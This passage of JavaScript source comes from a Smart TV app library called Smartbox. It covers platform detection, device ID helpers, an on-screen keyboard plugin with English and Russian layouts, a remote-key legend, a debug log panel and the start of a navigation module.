cb.call(scope);
} else {
readyCallbacks.push([cb, scope]);
}
};
/**
* Calling cb after library initialise if platform is current
* @param platform {string} platform name
* @param cb {function} callback
* @param scope {object} scope for callback calling
*/
Smartbox.readyForPlatform = function ( platform, cb, scope ) {
var self = this;
this.ready(function () {
if ( platform == self.platformName ) {
cb.call(this);
}
}, scope);
};
/**
* TODO: description
* @param platformName
* @param platformApi
*/
Smartbox.createPlatform = function ( platformName, platformApi ) {
var isCurrent = platformApi.detect && platformApi.detect();
if ( isCurrent || detect(platformApi.platformUserAgent) ) {
this.platformName = platformName;
_.extend(this, platformApi);
if (typeof platformApi.onDetect === 'function') {
this.onDetect();
}
}
};
/**
* Asynchroniosly adding javascript files
* @param filesArray {Array} array of sources of javascript files
* @param cb {Function} callback on load javascript files
*/
Smartbox.addExternalJS = function ( filesArray, cb ) {
var loadedScripts = 0,
len = filesArray.length,
el;
function onloadScript () {
loadedScripts++;
if ( loadedScripts === len ) {
cb && cb.call();
}
}
if ( filesArray.length ) {
for ( var i = 0; i < len; i++ ) {
el = document.createElement('script');
el.type = 'text/javascript';
el.onload = onloadScript;
el.src = filesArray[i];
document.head.appendChild(el);
}
} else {
// if no external js simple call cb
cb && cb.call(this);
}
};
/**
* Add external css filess
* @param filesArray {array} array of css sources
*/
Smartbox.addExternalCSS = function ( filesArray ) {
var $externalCssContainer,
len = filesArray.length,
i = 0,
el, src;
if ( len ) {
$externalCssContainer = document.createDocumentFragment();
while (i < len) {
src = filesArray[i];
if (src) {
el = document.createElement('link');
el.rel = 'stylesheet';
el.href = src;
$externalCssContainer.appendChild(el);
}
}
document.body.appendChild($externalCssContainer);
}
};
Smartbox.extend = extend;
Smartbox.utils = {
/**
* Show error message
* @param msg
*/
error: function ( msg ) {
$$log(msg, 'error');
},
/**
* Show messages in log
* all functionality in main.js
*/
log: {
log: $.noop,
state: $.noop,
show: $.noop,
hide: $.noop,
startProfile: $.noop,
stopProfile: $.noop
},
// for backward compatibility
addExternalJS: Smartbox.addExternalJS,
addExternalCSS: Smartbox.addExternalCSS
};
/**
* Main config for library
* @type {object}
*/
Smartbox.config = {
DUID: 'real',
customVolumeEnable: false
};
document.head = document.head || document.getElementsByTagName('head')[0];
extend(Smartbox, SBEvents.prototype);
// exporting library to global
_global.SB = Smartbox;
// initialize library
if (typeof document.addEventListener === 'function') {
document.addEventListener('DOMContentLoaded', function() {
initialize();
}, false);
} else {
document.onload = function() {
initialize();
};
}
})(this);
// global SB
!(function ( window, undefined ) {
var PlatformApi = {
externalCss: [],
externalJs: [],
keys: {},
DUID: '',
platformUserAgent: 'not found',
/**
* Get DUID in case of Config
* @return {string} DUID
*/
getDUID: function () {
switch ( SB.config.DUID ) {
case 'real':
this.DUID = this.getNativeDUID();
break;
case 'mac':
this.DUID = this.getMac();
break;
case 'random':
this.DUID = this.getRandomDUID();
break;
/*case 'local_random':
this.DUID = this.getLocalRandomDUID();
break;*/
default:
this.DUID = Config.DUIDSettings;
break;
}
return this.DUID;
},
getSDI: function () {
return '';
},
/**
* Returns random DUID for platform
* @returns {string}
*/
getRandomDUID: function () {
return (new Date()).getTime().toString(16) + Math.floor(Math.random() * parseInt("10000", 16)).toString(16);
},
/**
* Returns MAC for platform if exist
* @returns {string}
*/
getMac: function () {
return '';
},
/**
* Returns native DUID for platform if exist
* @returns {string}
*/
getNativeDUID: function () {
return '';
},
/**
* Set custom plugins for platform
*/
setPlugins: $.noop,
// TODO: volume for all platforms
volumeUp: $.noop,
volumeDown: $.noop,
getVolume: $.noop,
exit: $.noop,
sendReturn: $.noop,
setData: function ( name, val ) {
// save data in string format
localStorage.setItem(name, JSON.stringify(val));
},
getData: function ( name ) {
var result;
try {
result = JSON.parse(localStorage.getItem(name));
} catch (e) {
}
return result;
},
removeData: function ( name ) {
localStorage.removeItem(name);
}
};
_.extend(SB, PlatformApi);
})(this);
/**
* Keyboard Plugin
*/
;
(function ( $, window, document, undefined ) {
var pluginName = 'SBInput',
defaultOptions = {
keyboard: {
type: 'fulltext_ru',
firstLayout: 'ru'
},
/**
* Format function
* @param text
*/
formatText: null,
bindKeyboard: null,
input: {
template: '<div class="smart_input-container">' +
'<div class="smart_input-wrap">' +
'<span class="smart_input-text"></span>' +
'<span class="smart_input-cursor"></span>' +
'</div>' +
'</div>',
elClass: 'smart_input-container',
wrapperClass: 'smart_input-wrap',
cursorClass: 'smart_input-cursor',
textClass: 'smart_input-text'
},
directKeyboardInput: false,
directNumInput: false,
max: 0,
next: null
},
pluginPrototype,
$keyboardOverlay,
$keyboardPopup,
// in app can be only one blink cursor
blinkInterval;
/**
* Generate input element
* @param opt input options
* @returns {*} jQuery el
*/
function generateInput ( opt ) {
var div = $(document.createElement('div'));
div.html(opt.template);
return div.find('.' + opt.elClass);
}
/**
* generate popup for input keyboards
*/
function generateKeyboardPopup () {
$keyboardOverlay = $(document.createElement('div')).attr('id', 'keyboard_overlay');
$keyboardPopup = $(document.createElement('div')).attr({
'id': 'keyboard_popup',
'class': 'keyboard_popup_wrapper'
});
$keyboardOverlay.append($keyboardPopup);
$(document.body).append($keyboardOverlay);
}
// The actual plugin constructor
function Plugin ( element, options ) {
this.$input = $(element);
this.initialise(options);
this.stopBlink();
this.setText(element.value);
}
pluginPrototype = {
isInited: false,
_generatedKeyboard: false,
isKeyboardActive: false,
text: '',
initialise: function ( options ) {
var $el;
if ( this.isInited ) {
return this;
}
options = $.extend({}, defaultOptions, options);
options.next = this.$input.attr('data-next') || options.next;
options.max = this.$input.attr('data-max') || options.max || 0;
this.options = options;
this.$input.attr({
'data-value': '',
'data-max': options.max
});
$el = generateInput(options.input);
$el.addClass(this.$input[0].className);
$el.attr('data-nav_ud',this.$input[0].getAttribute('data-nav_ud'));
this.$input.hide().after($el);
this.$el = $el;
this.$text = $el.find('.' + options.input.textClass);
this.$cursor = $el.find('.' + options.input.cursorClass);
this.$wrapper = $el.find('.' + options.input.wrapperClass);
if ( options.directKeyboardInput ) {
this.addDirectKeyboardEvents();
}
this.addEvents();
this.isInited = true;
return this;
},
startBlink: function () {
var self = this,
hiddenClass = this.options.input.cursorClass + '_hidden';
if ( blinkInterval ) {
clearInterval(blinkInterval);
}
blinkInterval = setInterval(function () {
self.$cursor.toggleClass(hiddenClass);
}, 500);
},
stopBlink: function () {
var hiddenClass = this.options.input.cursorClass + '_hidden';
if ( blinkInterval ) {
clearInterval(blinkInterval);
}
this.$cursor.addClass(hiddenClass);
},
addEvents: function () {
var $wrap = this.$wrapper,
opt = this.options,
self = this;
this.$input.on({
'nav_focus': function () {
$$nav.current(self.$el);
},
'startBlink': function () {
self.startBlink();
},
'stopBlink': function () {
self.stopBlink();
},
'hideKeyboard': function () {
if ( $wrap.hasClass('smart-input-active') ) {
self.hideKeyboard();
}
},
'showKeyboard': function () {
self.showKeyboard();
}
});
this.$el.on({
'nav_focus': function () {
self.$input.addClass('focus');
},
'nav_blur': function () {
self.$input.removeClass('focus');
}
});
if (opt.directNumInput && !opt.directKeyboardInput) {
this.$el.off('nav_key:num nav_key:red').on('nav_key:num nav_key:red', function ( e ) {
self.typeNum(e);
});
}
$wrap.off('nav_focus nav_blur click');
if ( opt.bindKeyboard ) {
opt.keyboard = false;
opt.bindKeyboard
.off('type backspace delall')
.on('type', function ( e ) {
self.type(e.letter);
})
.on('backspace', function () {
self.type('backspace');
})
.on('delall', function () {
self.type('delall');
});
}
if ( opt.keyboard ) {
this.$el.on('click', function () {
self.startBlink();
self.showKeyboard();
})
}
},
addDirectKeyboardEvents: function () {
var self = this;
this.$el.on({
nav_focus: function () {
self.startBlink();
$(document.body).on('keypress.SBInput', function ( e ) {
if ( e.charCode ) {
e.preventDefault();
self.type(String.fromCharCode(e.charCode));
} else {
switch ( e.keyCode ) {
case 8:
e.preventDefault();
self.type('backspace');
break;
}
}
});
},
nav_blur: function () {
self.stopBlink();
$(document.body).off('keypress.SBInput');
}
});
},
setText: function ( text ) {
var opt = this.options,
formatText,
max = opt.max,
method;
text = text || '';
if ( text.length > max && max != 0 ) {
text = text.substr(0, max);
}
formatText = opt.formatText ? opt.formatText(text) : text;
this.$input.val(text).attr('data-value', text);
this.text = text;
this.$text.html(formatText);
// TODO: fix for Samsung 11
if ( text.length > 1 ) {
method = (this.$text.width() > this.$wrapper.width()) ? 'add' : 'remove';
this.$wrapper[ method + 'Class']('.' + opt.input.wrapperClass + '_right');
} else {
this.$wrapper.removeClass('.' + opt.input.wrapperClass + '_right');
}
this.$input.trigger('text_change');
},
type: function ( letter ) {
var text = this.text || '',
opt = this.options;
switch ( letter ) {
case 'backspace':
text = text.substr(0, text.length - 1);
break;
case 'delall':
text = '';
break;
default:
text += letter;
break;
}
this.setText(text);
//jump to next input if is set
if ( text.length === opt.max &&
opt.max != 0 ) {
this.hideKeyboard(true);
if( opt.next ) {
$$nav.current(opt.next);
$$nav.current().click();
}
}
},
typeNum: function(e){
switch (e.keyName) {
case 'red':
this.type('backspace');
break;
default:
this.type(e.num);
break;
}
e.stopPropagation();
},
changeKeyboard: function ( keyboardOpt ) {
var curOpt = this.options.keyboard;
this.options.keyboard = _.extend({}, curOpt, keyboardOpt);
$keyboardPopup && $keyboardPopup.SBKeyboard(this.options.keyboard);
},
hideKeyboard: function ( isComplete ) {
this.$wrapper.removeClass('smart-input-active');
this.$input.trigger('keyboard_hide');
$$nav.restore();
$$voice.restore();
this.isKeyboardActive = false;
if ( isComplete ) {
this.$input.trigger('keyboard_complete');
}
else {
this.$input.trigger('keyboard_cancel');
}
$keyboardPopup && $keyboardPopup.trigger('keyboard_hide');
$keyboardOverlay && $keyboardOverlay.detach();
},
showKeyboard: function () {
var $wrapper = this.$wrapper,
keyboardOpt = this.options.keyboard,
self = this;
this.isKeyboardActive = true;
$wrapper.addClass('smart-input-active');
var h = this.$el.outerHeight();
var o = this.$el.offset();
var top = o.top + h;
if ( !$keyboardOverlay ) {
generateKeyboardPopup();
}
if ( !this._generatedKeyboard ) {
$keyboardPopup.SBKeyboard(keyboardOpt);
this._generatedKeyboard = true;
}
$keyboardPopup.SBKeyboard('changeKeyboard', keyboardOpt.type)
.css({
'left': o.left,
'top': top
})
.off('type backspace delall complete cancel')
.on('type', function ( e ) {
self.type(e.letter);
})
.on('backspace', function () {
self.type('backspace');
})
.on('delall', function () {
self.type('delall');
})
.on('complete cancel', function ( e ) {
var isComplete = false;
if ( e.type === 'complete' ) {
isComplete = true;
}
self.stopBlink();
self.hideKeyboard(isComplete);
});
$keyboardOverlay.appendTo('body');
var kh = $keyboardPopup.height();
var kw = $keyboardPopup.width();
if ( top + kh > 680 ) {
$keyboardPopup.css({
'top': top - kh - h
})
}
if ( o.left + kw > 1280 ) {
$keyboardPopup.css({
'left': 1280 - kw - 20
})
}
$$voice.save();
$$nav.save();
$$nav.on('#keyboard_popup');
$keyboardPopup.SBKeyboard('refreshVoice').voiceLink();
this.$el.addClass($$nav.higlight_class);
this.$input.trigger('keyboard_show');
this.startBlink();
}
};
$.extend(Plugin.prototype, pluginPrototype);
pluginPrototype = null;
$.fn.SBInput = function () {
var args = Array.prototype.slice.call(arguments),
method = (typeof args[0] == 'string') && args[0],
options = (typeof args[0] == 'object') && args[0],
params = args.slice(1);
return this.each(function () {
var instance = $.data(this, 'plugin_' + pluginName);
if ( !instance ) {
$.data(this, 'plugin_' + pluginName,
new Plugin(this, options));
} else if ( typeof instance[method] === 'function' ) {
instance[method].apply(instance, params);
}
});
}
})(jQuery, window, document);
/**
* Keyboard Plugin
*/
;
(function ( $, window, document, undefined ) {
var pluginName = 'SBKeyboard',
keyRegExp = /([^{]+){{([^}]*)}}/,
defaults = {
type: 'en',
firstLayout: null
},
pluginPrototype = {},
keyboardPrototype = {},
generatedKeyboards = {};
/**
* Keyboard constructor
* @param options
* @param $el parent element
* @constructor
*/
function Keyboard ( options, $el ) {
this.type = options.type;
this.currentLayout = '';
this.previousLayout = '';
this.$el = $el;
// jquery layout els
this.$layouts = {};
// all available layouts(for changeKeyboardLang)
this.presets = [];
this.initialize(options);
}
keyboardPrototype = {
isShiftActive: false,
isNumsShown: false,
currentPresetType: '',
initialize: function ( options ) {
var _type = _.result(this, 'type'),
board = '',
preset,
haveNums = false,
type;
preset = SB.keyboardPresets[_type];
if (!preset) {
throw new Error('Preset ' + _type + ' doesn\'t exist');
}
this.currentPresetType = _type;
this.$wrap = $(document.createElement('div')).addClass('kb-wrap');
if ( typeof preset === 'function' ) {
this.presets.push(_type);
board = this.generateBoard(_type);
} else if ( preset.length ) {
this.presets = preset;
haveNums = (preset.indexOf('fullnum') !== -1);
if ( haveNums ) {
this.presets = _.without(this.presets, 'fullnum');
}
board = this.generateFull(this.presets, haveNums);
}
this.$wrap
.append(board)
.addClass('kekekey_' + _type);
this.$el.append(this.$wrap);
this.setEvents();
// save jquery els of current layouts
for ( var i = 0; i < this.presets.length; i++ ) {
type = this.presets[i];
this.$layouts[type] = this.$wrap.find('.keyboard_generated_' + type);
}
if (haveNums) {
this.$layouts['fullnum'] = this.$wrap.find('.keyboard_generated_fullnum');
}
if ( this.presets.indexOf(options.firstLayout) !== -1 ) {
this.changeLayout(options.firstLayout);
} else {
this.changeLayout(this.presets[0]);
}
},
/**
* Generate multilayout keyboards
* @param types {Array} array of layout types (['ru', 'en'])
* @param haveNums {Boolean} add fullnum keyboard
* @returns {string} generated html
*/
generateFull: function ( types, haveNums ) {
var wrapHtml = '',
preset = '',
type = '';
if ( types.length > 1 ) {
this.$wrap.addClass('kb-multilang');
}
for ( var i = 0; i < types.length; i++ ) {
type = types[i];
wrapHtml += this.generateBoard(type);
}
if ( haveNums ) {
this.$wrap.addClass('kb-havenums');
wrapHtml += this.generateBoard('fullnum');
}
return wrapHtml;
},
/**
* Generate keyboard layout
* @param type {String} 'ru', 'en'
* @returns {String} generated html
*/
generateBoard: function ( type ) {
var preset = SB.keyboardPresets[type],
boardHtml = '',
rowHtml = '',
keyAttrs = {},
row, letter;
if ( generatedKeyboards[type] ) {
return generatedKeyboards[type].board;
}
preset = preset();
boardHtml = '<div class="kb-c keyboard_generated_' + type + '">';
for ( var i = 0; i < preset.length; i++ ) {
row = preset[i];
rowHtml = '<div class="kb-row" data-nav_type="hbox">';
for ( var j = 0; j < row.length; j++ ) {
letter = row[j];
if ( letter.length == 1 || letter === '&' ) {
keyAttrs = {
text: letter,
type: '',
letter: letter
};
}
else {
var matches = keyRegExp.exec(letter);
keyAttrs.text = matches[2] || '';
keyAttrs.type = matches[1];
keyAttrs.letter = '';
}
rowHtml += '<div class="kbtn nav-item ' +
keyAttrs.type +
'" data-letter="' + _.escape(keyAttrs.letter) + '"';
if ( keyAttrs.type ) {
rowHtml += ' data-keytype="' + keyAttrs.type + '"';
}
rowHtml += '>' + keyAttrs.text + '</div>';
}
boardHtml += rowHtml + '</div>';
}
boardHtml += '</div>';
generatedKeyboards[type] = {
board: boardHtml
};
return boardHtml;
},
/**
* Num keys event handler
* @param e
*/
onKeyNum: function ( e ) {
switch ( e.keyName ) {
case 'red':
this.$el.trigger('backspace');
break;
default:
var ev = $.Event({
'type': 'type'
});
ev.letter = '' + e.num;
this.$el.trigger(ev);
break;
}
e.stopPropagation();
},
defaultOnKey: function ( e ) {
e.stopPropagation();
},
onKeyDown: function ( e ) {
var $el = $(e.currentTarget),
keyType = $el.attr('data-keytype'),
letter = $el.attr('data-letter'),
ev;
// create custom event for triggering keyboard event
ev = $.Event({
'type': 'type'
});
if ( keyType ) {
switch ( keyType ) {
case 'backspace':
ev = 'backspace';
break;
case 'delall':
ev = 'delall';
break;
case 'complete':
ev = 'complete';
break;
case 'space':
ev.letter = ' ';
break;
case 'shift':
this.triggerShiftLetters();
return;
case 'lang':
this.changeKeyboardLang();
return;
case 'nums':
this.triggerNumKeyboard();
return;
default:
break;
}
} else {
ev.letter = this.isShiftActive ? letter.toUpperCase() : letter;
}
ev && this.$el.trigger(ev);
e.stopPropagation();
},
triggerShiftLetters: function () {
var self = this;
if ( this.isShiftActive ) {
this.isShiftActive = false;
this.$el.removeClass('shift_active');
} else {
this.isShiftActive = true;
this.$el.addClass('shift_active');
}
// TODO: only for samsung 11
// this.$el.find('.kbtn').not('.delall,.complete,.space,.nums,.lang,.shift,.backspace').each(function () {
// this.innerHTML = self.isShiftActive ? this.innerHTML.toUpperCase() : this.innerHTML.toLowerCase();
// });
},
/**
* show/hide fullnum layout
*/
triggerNumKeyboard: function () {
if ( this.isNumsShown ) {
this.isNumsShown = false;
this.changeLayout(this.previousLayout);
this.$el.trigger('hide_num');
} else {
this.isNumsShown = true;
this.changeLayout('fullnum');
this.$el.trigger('show_num');
}
$$nav.current(this.$layouts[this.currentLayout].find('.nums'));
},
changeKeyboardLang: function () {
var curIndex = this.presets.indexOf(this.currentLayout),
index;
index = (curIndex + 1) % this.presets.length;
this.changeLayout(this.presets[index]);
$$nav.current(this.$layouts[this.currentLayout].find('.lang'));
},
/**
* Change layout function
* @param layout {String} 'fullnum', 'en'
*/
changeLayout: function ( layout ) {
var prevLayout,
curLayout = this.$layouts[layout];
if ( this.currentLayout ) {
prevLayout = this.$layouts[this.currentLayout];
prevLayout && prevLayout.hide();
this.$el.removeClass('keyboard_' + this.currentLayout);
this.previousLayout = this.currentLayout;
}
if ( curLayout ) {
this.currentLayout = layout;
this.$el.addClass('keyboard_' + layout);
curLayout.show();
}
},
setEvents: function () {
var self = this;
// block yellow & blue buttons
this.$wrap.on('nav_key:yellow nav_key:blue', this.defaultOnKey);
this.$wrap.on('nav_key:num nav_key:red', _.bind(this.onKeyNum, this));
this.$wrap.on('click', '.kbtn', _.bind(this.onKeyDown, this));
this.$wrap
.on('nav_key:green', function ( e ) {
self.$el.trigger('complete');
e.stopPropagation();
})
.on('nav_key:return', function ( e ) {
self.$el.trigger('cancel');
e.stopPropagation();
});
},
show: function () {
this.$wrap.show();
this.$el.addClass(_.result(this, 'type') + '_wrap').addClass('keyboard_' + this.currentLayout);
return this;
},
hide: function () {
this.$wrap.hide();
this.$el.removeClass(_.result(this, 'type') + '_wrap').removeClass('keyboard_' + this.currentLayout);
}
};
$.extend(Keyboard.prototype, keyboardPrototype);
keyboardPrototype = null;
// The actual plugin constructor
function Plugin ( element, options ) {
this.$el = $(element);
this.keyboards = {};
options = $.extend({}, defaults, options);
this.addKeyboard(options);
this.$el.addClass('keyboard_popup_wrapper');
}
pluginPrototype = {
/**
* Add keyboard to current element
* @param opt {Object}
*/
addKeyboard: function ( opt ) {
var options = $.extend({}, defaults, opt),
type = _.isFunction(opt.type) ? _.result(opt, 'type') : opt.type;
if ( !this.keyboards[type] ) {
this.keyboards[type] = new Keyboard(options, this.$el);
}
this.changeKeyboard(type);
},
/**
* Change current active keyboard
* @param type {String|Function} 'en', 'ru'
*/
changeKeyboard: function ( type ) {
var curKeyboard = this.currentKeyboard,
preset,
isCurrent;
type = _.isFunction(type) ? type() : type;
preset = this.keyboards[type];
isCurrent = curKeyboard && (curKeyboard.currentPresetType === type);
if ( preset && !isCurrent ) {
curKeyboard && curKeyboard.hide();
this.currentKeyboard = preset.show();
} else if (!preset){
this.addKeyboard({
type: type
});
}
}
};
$.extend(Plugin.prototype, pluginPrototype);
pluginPrototype = null;
// A lightweight plugin wrapper around the constructor,
// preventing against multiple instantiations
$.fn.SBKeyboard = function () {
var args = Array.prototype.slice.call(arguments),
method = (typeof args[0] == 'string') && args[0],
options = (typeof args[0] == 'object') && args[0],
params = args.slice(1);
return this.each(function () {
var instance = $.data(this, 'plugin_' + pluginName);
if ( !instance ) {
$.data(this, 'plugin_' + pluginName,
new Plugin(this, options));
} else {
if ( method ) {
instance[method] && instance[method].apply(instance, params)
} else if ( options ) {
instance.addKeyboard(options);
}
}
});
}
})(jQuery, window, document);
window.SB = window.SB || {};
// Default layouts, can be extended
window.SB.keyboardPresets = {
en: function () {
return [
'qwertyuiop'.split(''),
'asdfghjkl'.split('').concat(['backspace{{<i class="backspace_icon"></i>}}']),
['shift{{<i class="shift_icon"></i>Shift}}'].concat('zxcvbnm'.split('')).concat(
['delall{{<span>Del<br/>all</span>}}']),
['lang{{en}}', 'nums{{123}}', 'space{{}}', 'complete{{Complete}}']
];
},
ru: function () {
return [
'йцукенгшщзхъ'.split(''),
'фывапролджэ'.split('').concat(['backspace{{<i class="backspace_icon"></i>}}']),
['shift{{<i class="shift_icon"></i>Shift}}'].concat('ячсмитьбю'.split('')).concat(['delall{{<span>Del<br/>all</span>}}']),
['lang{{ru}}', 'nums{{123}}', 'space{{}}', 'complete{{Готово}}']
]
},
email: function () {
return [
'1234567890@'.split(''),
'qwertyuiop'.split('').concat(['backspace{{<i class="backspace_icon"></i>}}']),
'asdfghjkl_'.split('').concat(['delall{{<span>Del<br/>all</span>}}']),
'zxcvbnm-.'.split('').concat('complete{{OK}}')
];
},
num: function () {
return [
'123'.split(''),
'456'.split(''),
'789'.split(''),
['backspace{{<i class="backspace_icon"></i>}}', '0', 'complete{{OK}}']
]
},
fullnum: function () {
return [
'1234567890'.split(''),
'-/:;()$"'.split('').concat(['&', 'backspace{{<i class="backspace_icon"></i>}}']),
['nums{{ABC}}'].concat("@.,?!'+".split('')),
['space{{}}', 'complete{{OK}}']
]
},
fulltext_ru: ['ru','en'],
fulltext_en: ['en'],
fulltext_ru_nums: ['ru', 'en', 'fullnum'],
fulltext_en_nums: ['en', 'fullnum']
};
(function (window) {
"use strict";
/*globals _, ViewModel,$,Events,document, Observable, Computed, Lang, nav*/
var icons = ['info','red', 'green', 'yellow', 'blue', 'rew', 'play', 'pause', 'stop', 'ff', 'tools', 'left',
'right', 'up', 'down', 'leftright', 'updown', 'move', 'number', 'enter', 'ret'],
notClickableKeys= ['leftright', 'left', 'right', 'up', 'down', 'updown', 'move', 'number'],
_isInited,
LegendKey,
savedLegend = [],
Legend;
function isClickable( key ) {
return (notClickableKeys.indexOf(key) === -1)
}
function renderKey( key ) {
var clickableClass = isClickable(key) ? ' legend-clickable' : '';
return '<div class="legend-item legend-item-' + key + clickableClass + '" data-key="' + key + '">' +
'<i class="leg-icon leg-icon-' + key + '"></i>' +
'<span class="legend-item-title"></span>' +
'</div>';
}
function _renderLegend() {
var legendEl,
wrap,
allKeysHtml = '';
for (var i = 0, len = icons.length; i<len; i++) {
allKeysHtml += renderKey(icons[i]);
}
legendEl = document.createElement('div');
wrap = document.createElement('div');
legendEl.className = 'legend';
legendEl.id = 'legend';
wrap.className = 'legend-wrap';
wrap.innerHTML = allKeysHtml;
legendEl.appendChild(wrap);
return $(legendEl);
}
Legend = function() {
var self = this;
this.$el = _renderLegend();
this.keys = {};
var initKey = function ( key ) {
var $keyEl;
if ( !self.keys[key] ) {
$keyEl = self.$el.find('.legend-item-' + key);
self.keys[key] = new LegendKey($keyEl);
}
};
for ( var i = 0; i < icons.length; i++ ) {
initKey(icons[i]);
}
this.addKey = function ( keyName, isClickable ) {
var keyHtml;
if (typeof isClickable === 'undefined') {
isClickable = true;
}
if (!isClickable) {
notClickableKeys.push(keyName);
}
keyHtml = renderKey(keyName);
this.$el.find('.legend-wrap').append(keyHtml);
initKey(keyName);
};
this.show = function () {
this.$el.show();
};
this.hide = function () {
this.$el.hide();
};
this.clear = function () {
for ( var key in this.keys ) {
this.keys[key]('');
}
};
this.save = function () {
for ( var key in this.keys ) {
savedLegend[key] = this.keys[key]();
}
};
this.restore = function () {
_.each(icons, function ( key ) {
Legend[key](savedLegend[key]);
});
for ( var key in savedLegend ) {
this.keys[key](savedLegend[key]);
}
savedLegend = [];
};
};
LegendKey = function ($el) {
this.$el = $el;
this.$text = $el.find('.legend-item-title');
return _.bind(this.setText, this);
};
LegendKey.prototype.text = '';
LegendKey.prototype.isShown = false;
LegendKey.prototype.setText = function (text) {
if (typeof text === 'undefined') {
return this.text;
} else if (text !== this.text) {
text = text || '';
if (!text && this.isShown) {
this.$el[0].style.display = 'none';
this.$el.removeClass('legend-item-visible');
this.isShown = false;
} else if (text && !this.isShown) {
this.$el[0].style.display = '';
this.$el.addClass('legend-item-visible');
this.isShown = true;
}
this.text = text;
this.$text.html(text);
}
};
window.$$legend = new Legend();
$(function () {
$$legend.$el.appendTo(document.body);
$$legend.$el.on('click', '.legend-clickable', function () {
var key = $(this).attr('data-key'),
ev, commonEvent;
if (key === 'ret') {
key = 'return';
} else if (key === 'rew') {
key = 'rw';
}
ev = $.Event("nav_key:" + key);
commonEvent = $.Event("nav_key");
commonEvent.keyName = ev.keyName = key;
$$nav.current().trigger(ev).trigger(commonEvent);
});
});
})(this);
(function ( window, undefined ) {
var profiles = {},
logs = {},
logNames = [],
curPanelIndex = 0,
// максимум логов на странице
maxLogCount = 20,
$logWrap,
$logRow,
Log,
LogApi,
LogPanel;
// append log wrapper to body
$logWrap = $('<div></div>', {
id: 'log'
});
$(function () {
$logWrap.appendTo(document.body);
});
$logRow = $('<div></div>', {
'class': 'log-row'
});
/**
* LogPanel constructor
* @param logName {String} name of log panel
* @constructor
*/
LogPanel = function ( logName ) {
this.name = logName;
this.logs = 0;
this.states = {};
var $wrapper = $logWrap.find('#log_' + this.name);
this.$content = $wrapper.find('.log_content');
this.$state = $wrapper.find('.log_states');
// no need anymore
$wrapper = null;
};
_.extend(LogPanel.prototype, {
log: function log ( msg ) {
var logRow = $logRow.clone(),
$rows, length;
this.logs++;
msg = _.escape(msg);
logRow.html(msg).appendTo(this.$content);
if ( this.logs > maxLogCount ) {
$rows = this.$content.find(".log-row");
length = $rows.length;
$rows.slice(0, length - maxLogCount).remove();
this.logs = $rows.length;
}
},
state: function state ( value, stateName ) {
var state = this.states[stateName] || this.createState(stateName);
state.textContent = stateName + ': ' + value;
},
createState: function ( stateName ) {
var $state = document.createElement('div');
$state.id = '#log_' + this.name + '_' + stateName;
this.states[stateName] = $state;
this.$state.append($state);
return $state;
}
});
var logPanelTemplate = '<div class="log_pane" id="log_<%=name%>">' +
'<div class="log_name">Log: <%=name%></div>' +
'<div class="log_content_wrap">' +
'<div class="log_content"></div>' +
'</div>' +
'<div class="log_states"></div>' +
'</div>';
Log = {
create: function ( logName ) {
var logHtml = logPanelTemplate.replace(/<%=name%>/g, logName);
$logWrap.append(logHtml);
logs[logName] = new LogPanel(logName);
logNames.push(logName);
return logs[logName];
},
getPanel: function ( logName ) {
logName = logName || 'default';
return (logs[logName] || this.create(logName));
}
};
/**
* Public log API
*/
LogApi = {
log: function ( msg, logName ) {
Log.getPanel(logName).log(msg);
},
state: function ( msg, state, logName ) {
Log.getPanel(logName).state(msg, state);
},
show: function ( logName ) {
logName = logName || logNames[curPanelIndex];
if ( !logName ) {
curPanelIndex = 0;
this.hide();
} else {
curPanelIndex++;
$logWrap.show();
$('.log_pane').hide();
$('#log_' + logName).show();
}
},
hide: function () {
$logWrap.hide();
},
startProfile: function ( profileName ) {
if ( profileName ) {
profiles[profileName] = (new Date()).getTime();
}
},
stopProfile: function ( profileName ) {
if ( profiles[profileName] ) {
this.log(profileName + ': ' + ((new Date()).getTime() - profiles[profileName]) + 'ms', 'profiler');
delete profiles[profileName];
}
}
};
window.SB.utils.log = LogApi;
window.$$log = LogApi.log;
window.$$logApi = LogApi;
window.$$error = SB.utils.error;
})(this);
$(function () {
var logKey = SB.config.logKey || 'tools';
$(document.body).on('nav_key:' + logKey, function () {
SB.utils.log.show();
});
});
!(function ( window, undefined ) {
var $body = null,
nav, invertedKeys = {};
SB.ready(function () {
var keys = SB.keys;
for (var key in keys) {
invertedKeys[keys[key]] = key.toLowerCase();
}
});
function Navigation () {
// for methods save и restore
var savedNavs = [],
// object for store throttled color keys methods
throttledMethods = {},
// current el in focus
navCur = null,
// arrays
numsKeys = ['n0', 'n1', 'n2', 'n3', 'n4', 'n5', 'n6', 'n7', 'n8', 'n9'],
colorKeys = ['green', 'red', 'yellow', 'blue'],
// pause counter
paused = 0;
function onKeyDown ( e ) {
var key,
data = {},
keyCode = e.keyCode;
if ( paused || !navCur ) {
return;
}
key = invertedKeys[keyCode];
if ( key ) {
if ( colorKeys.indexOf(key) > -1 ) {
throttleEvent(key);
} else {
if ( numsKeys.indexOf(key) > -1 ) {
data.num = key[1];
key = 'num';
}
triggerKeyEvent(key, data);
}
}
}
/**
* 'nav_key:' event trigger
* @param key key name
* @param data event data
*/
function triggerKeyEvent ( key, data ) {
var ev,
commonEvent;
if ( navCur ) {
ev = $.Event("nav_key:" + key, data || {});
commonEvent = $.Event("nav_key");
ev.keyName = key;
commonEvent.keyName = key;
navCur.trigger(ev);
//первый trigger мог уже сменить текщий элемент
navCur && navCur.trigger(commonEvent);
}
}
function throttleEvent ( key ) {
var keyMethod = throttledMethods[key];
// lazy init
if ( !keyMethod ) {
keyMethod = throttledMethods[key] = _.throttle(function () {
triggerKeyEvent(key);
}, 800, {
leading: true
});
}
keyMethod(key);
}
/**
* trigger click on current element
*/
function onClick () {
navCur && navCur.click();
}
return {
// nav els selector
area_selector: '.nav-item',
/**
* Current el class
* @type {string}
*/
higlight_class: 'focus',
/**
* navigation container
* @type {jQuery}
*/
$container: null,
/**
* Current looping type
* false/hbox/vbox
* @type {boolean|string}
*/
loopType: null,
/**
* Phantom els selector
* @type {string}
*/
phantom_selector: '[data-nav-phantom]',
/**
* Returns current navigation state
* @returns {boolean}
*/
isPaused: function () {
return !!paused;
},
/**
* Stop navigation. Increase pause counter
* @returns {Navigation}
*/
pause: function () {
paused++;
return this;
},
/**
* Resume navigation if force or pause counter is zero
* @param force {Boolean} force navigation resume
* @returns {Navigation}
*/
resume: function ( force ) {
paused--;
if ( paused < 0 || force ) {
paused = 0;
}
return this;
},
/**
* Save current navigation state
* @returns {Navigation}
*/
save: function () {
savedNavs.push({
navCur: navCur,
area_selector: this.area_selector,
higlight_class: this.higlight_class,
$container: this.$container
});
return this;
},
/**
